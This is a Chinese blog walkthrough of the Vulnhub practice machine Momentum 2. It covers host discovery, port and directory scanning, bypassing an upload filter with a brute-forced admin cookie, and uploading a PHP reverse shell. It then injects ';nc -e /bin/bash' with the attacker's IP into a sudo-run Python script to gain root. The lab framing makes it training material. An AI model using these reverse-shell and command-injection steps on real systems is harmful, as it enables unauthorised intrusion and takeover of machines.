看完这篇 教你玩转渗透测试靶机Vulnhub——Momentum 2_渗透测试靶机平台

用户321207420452
241 阅读6分钟

img img

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

了解详情》docs.qq.com/doc/DSlVlZExWQ0FRSE9H

kali里使用arp-scan -l或者netdiscover发现主机

在这里插入图片描述
渗透机：kali IP ：192.168.0.113 靶机IP ：192.168.0.112

使用命令：nmap -sS -sV -A -n -p- 192.168.0.112

在这里插入图片描述
发现开启了80和22端口 先访问一下80端口老样子dirsearch、dirb扫描一下后台

在这里插入图片描述
这里在使用gobuster 发现/owls/目录访问发现是上传文件的绝对路径

gobuster dir -u http://192.168.0.112/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

在这里插入图片描述

②：漏洞发现：

扫描出来发现了一个/js/源码 和dashboard.html上传点

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
这边先随便测试一下发现可以上传txt 但是不能传php被过滤了
这里可以通过抓包修改 返回结果为1说明上传成功

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里发现还有备份文件ajax.php.bak下载查看

在这里插入图片描述

   //The boss told me to add one more Upper Case letter at the end of the cookie
 if(isset($\_COOKIE['admin']) && $\_COOKIE['admin'] == '&G6u@B6uDXMq&Ms'){

       //[+] Add if $_POST['secure'] == 'val1d'
        $valid_ext = array("pdf","php","txt");
   }
   else{

        $valid_ext = array("txt");
   }

   // Remember success upload returns 1

大概的意思就是cookie最后以为需要爆破 ，然后需要添加cookie字段 名称为admin
且添加POST 数据 secure =valid 都满足 就能上传 pdf php txt 文件

③：文件上传漏洞利用：

首先打开bp抓包上传php-reverse-shell（改为kali监听ip）填写cookie值 和post数据值
然后发送到Intruder（爆破模块-狙击手模式）可以手动添加26个英文单词大写字母
也可以使用kali字典crunch生成字典 当回显返回为1时就是爆破结果。很显然 这里是R

crunch 1 1 -t , >> pass.txt  #生成26个大写字母

cookie: admin=&G6u@B6uDXMq&Ms

Content-Disposition: form-data; name="secure"; #复制粘贴到bp里面
val1d

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

④：反弹Shell：

然后我们再去上传成功的目录进行查看有个新的 直接 nc-lvvp 1234 监听 双击运行 回弹shell

在这里插入图片描述
在这里插入图片描述
老样子python交互 python3 -c 'import pty; pty.spawn("/bin/bash")'

然后查看权限 id whoami 在/home/athena 下发现了第一个flag。

在这里插入图片描述

⑤：SSH登入：

然后查看密码文件Asterisk（✳得意思）通过分析可以得到账号密码为：athena/myvulnerableapp*

在这里插入图片描述
在这里插入图片描述

⑥：sudo python3提权：

sudo -l 查看有个root权限可以执行得python文件进行查看

在这里插入图片描述
来简单分析一下啥意思：定义了一个seed 然后需要输入 脚本为了回显输出，会去执行 bash 命令
我们将反弹root权限的shell命令存入seed变量执行 就可以提权为root

在这里插入图片描述

sudo -u root /usr/bin/python3 /home/team-tasks/cookie-gen.py #执行python文件
nc -lvvp 6666 #本地监听
;nc -e /bin/bash 192.168.0.113 6666; #输入回弹命令

在这里插入图片描述

⑦：获取FLAG：

在这里插入图片描述

至此至此获取到了flag，本篇文章渗透结束 感谢大家的观看！！

Vulnhub靶机渗透总结：

**1.信息收集arp-scan -l 获取ip地址 和端口信息 web扫描工具：nikto，dirsearch，dirb，dirbuster，whatweb，等 查看F12源码信息

img img img

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上软件测试知识点，真正体系化！

开源项目：docs.qq.com/doc/DSlVlZExWQ0FRSE9H

avatar
文章
阅读
粉丝